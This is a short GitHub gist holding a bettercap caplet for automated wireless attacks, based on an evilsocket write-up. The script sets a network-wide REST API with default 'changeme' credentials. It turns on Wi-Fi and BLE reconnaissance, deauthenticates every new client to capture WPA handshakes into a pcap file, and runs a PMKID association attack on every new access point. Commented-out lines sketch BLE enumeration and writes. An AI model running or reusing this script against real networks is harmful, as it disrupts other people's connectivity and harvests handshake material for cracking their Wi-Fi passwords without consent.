Skip to content

Instantly share code, notes, and snippets.

@ryanvillarreal
Last active May 22, 2019 21:59
Show Gist options
  • Save ryanvillarreal/50812d5382e3f6e80a29d128b4c4a2f8 to your computer and use it in GitHub Desktop.
Save ryanvillarreal/50812d5382e3f6e80a29d128b4c4a2f8 to your computer and use it in GitHub Desktop.
Bettercap for Fun
# https://www.evilsocket.net/2018/07/28/Project-PITA-Writeup-build-a-mini-mass-deauther-using-bettercap-and-a-Raspberry-Pi-Zero-W/
# setup the API settings
set api.rest.username changeme
set api.rest.password changeme
set api.rest.address 0.0.0.0
# update for specifying bettercap log location
set events.stream.output ~/bettercap.log
set events.stream.output.rotate false
# we don't care about the lost endpoints
events.ignore endpoint.lost
# have to restart the events stream for changes to take affect
events.stream off
events.stream on
# turn on net recon and ble recon
net.recon on
ble.recon on
# where to output the handshakes to
set wifi.handshakes.file ~/bettercap.wifi.handshakes.pcap
# deauth clients to try and capture 3-way handshake
events.on wifi.client.new wifi.deauth {{Client/mac}}
# perform pmkid attack
events.on wifi.ap.new wifi.assoc {{mac}}
# ble attacks
# events.on.ble.device.new ble.enum {{mac}}
# events.on.ble.device.new ble.write {{mac/char}} # need to check how to get all characteristics from a ble device
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment